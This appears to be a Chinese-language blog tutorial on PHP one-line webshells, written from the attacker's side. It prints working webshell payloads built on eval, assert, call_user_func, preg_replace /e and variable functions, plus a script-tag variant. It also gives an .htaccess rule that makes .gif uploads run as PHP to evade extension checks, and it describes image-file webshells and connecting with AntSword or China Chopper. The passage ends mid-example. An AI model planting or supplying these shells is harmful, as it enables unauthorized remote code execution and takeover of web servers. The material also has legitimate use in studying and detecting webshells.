一句話木馬是什么
一句話木馬就是僅需要一行代碼的木馬,很簡短且簡單,木馬的函數將會執行我們發送的命令
如何發送命令&發送的命令如何執行?
有三種方式:GET,POST,COOKIE,一句話木馬中用$_GET[' '] $_POST[' ']? $_COOKIE[' ' ]接收我們傳輸的數據,并把接收的數據傳遞給一句話木馬中執行命令的函數,進而執行命令。
根據前文,一句話木馬大多分為兩部分,一部分是可以執行代碼的部分,一部分是接收數據的部分
eval函數
POST方式
<?php eval($_POST['a']);?>
其中eval函數是執行命令的函數
$_POST['a']就是接收數據的部分,這是一個超全局變量,后文的$_GET也是一個超全局變量。其中的<?php ;?>表示是代碼語言,也就是將該代碼當做php代碼進行解析。eval 函數把字符串按照 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼,且必須以分號結尾(也就是有php代碼的標識)。
<?php @eval($_POST['a']);?>
@符號: 錯誤控制符,即使出現錯誤,也無視出現的錯誤信息,繼續執行下邊的代碼。
GET方式
<?php @eval($_GET['a']);?>
與post方法類似,僅是上傳參數時的方式不同。
assert函數
<?php assert(@$_POST['a']); ?>
這是直接用assert寫的一句話木馬的。assert與eval類似,但是也存在區別。
eval與assert區別
當遇到可變函數時eval不能執行,就可以用assert
PHP 支持可變函數的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,并且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。
比如下面這個一句話木馬?
<?php $_POST['1']($_POST['2']); ?>
不能直接傳入post參數:1=eval&2=xxx來進行連接
但是如果是assert函數就可以:1=assert&2=xxx
連接方式
瀏覽器中
前文的post方式和get方式的連接方法是在瀏覽器中進行傳參:
post方式意思是將其中的密碼用post傳參的方法進行連接,這是在消息體中存放數據
get方式意思是將其中的密碼用get傳參的方法進行連接,這是在消息頭的url路徑中存放數據
這兩的意思其實差不多:就是用post或者get方法接受變量,將變量里的字符當作php代碼來執行。
用工具
工具有多種,比如蟻劍,中國菜刀,冰蝎,我主要用的是蟻劍
當我們上傳一個文件,上傳成功且知道路徑就可以
進入蟻劍的主界面,然后右鍵,選擇添加數據,編輯后顯示連接成功,然后點擊添加就可以訪問該網站目錄文件了。
綠色表示連接成功
紅色表示有錯誤
橙色表示沒錯誤但是未連接
一些特殊的php一句話木馬
沒有php標簽的
這里利用script替代標簽<??? ?>
<script language="php">@eval($_GET['b'])</script>
回調函數:
<?php
@call_user_func(assert,$_POST['a']);
?>
調用call_user_func()函數,其中第一個參數是函數,第二、三個參數是函數里的參數
call_user_func函數類似于一種特別的調用函數的方法,使用方法如下:
function a($b,$c)
{
echo $b;
echo $c;
}
call_user_func('a', "111","222");
call_user_func('a', "333","444");
//顯示 111 222 333 444
?>
preg_replace:
這個函數原本是利用正則表達式替換符合條件的字符串,但是這個函數有一個功能——可執行命令。
這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那么這個函數的第二個參數就會被當作代碼執行。
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
php變量函數:
<?php
$a = "eval";
$a(@$_POST['a']);
?>
該例子中第三行使用了變量函數$a,變量儲存了函數名eval,便可以直接用變量替代函數名
.htaccess文件
<FilesMatch "x.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif
</FilesMatch>
該文件的作用就是將某文件(在上面的代碼中也就是x.gif)當作php文件來解析,這樣可以實現后綴名的繞過
那么無論上傳任何文件,只要符合php語言代碼規范,就會被當做PHP執行。不符合規則,則報錯
圖片馬
故名思義,其本身是一個圖片,但是包含了木馬。最簡單的寫法就是自己弄一個文件大小較小的文件,然后用文本打開圖片,在末尾加上一句話木馬就寫成了一個圖片馬
比如這個:
?